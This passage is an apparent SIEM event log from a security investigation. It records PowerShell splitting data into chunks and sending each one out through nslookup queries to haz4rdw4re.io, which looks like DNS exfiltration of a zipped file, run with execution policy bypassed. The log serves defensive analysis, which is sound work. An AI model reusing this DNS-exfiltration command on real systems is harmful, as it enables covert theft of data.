it '(.{1,30})' | Where-Object { $_ -ne '' } | ForEa
ch-Object {Invoke-Expression "nslookup $_.haz4rdw4r
e.io"} Details: CommandInvocation(Invoke-Expressio
n): "Invoke-Expression"ParameterBinding(Invoke-Expr
ession): name="Command"; value="nslookup AFBLAwQUAA
AACAC9oC5XHhlO5R8AAA.haz4rdw4re.io"
   powershell.command.invocation_details.value: "In
voke-Expression", "nslookup AFBLAwQUAAAACAC9oC5XHhl
O5R8AAA.haz4rdw4re.io"
   powershell.command.name: -
   powershell.file.script_block_text: -
   process.command_line: C:\Windows\System32\Window
sPowerShell\v1.0\powershell.exe -ExecutionPolicy By
pass
   timestamp: 01/11/2026 15:28:06.633
   winlog.process.pid: -
}
```

Show as raw text

host = 10.10.67.0:8989 | source = eventcollector | sourcetype = _json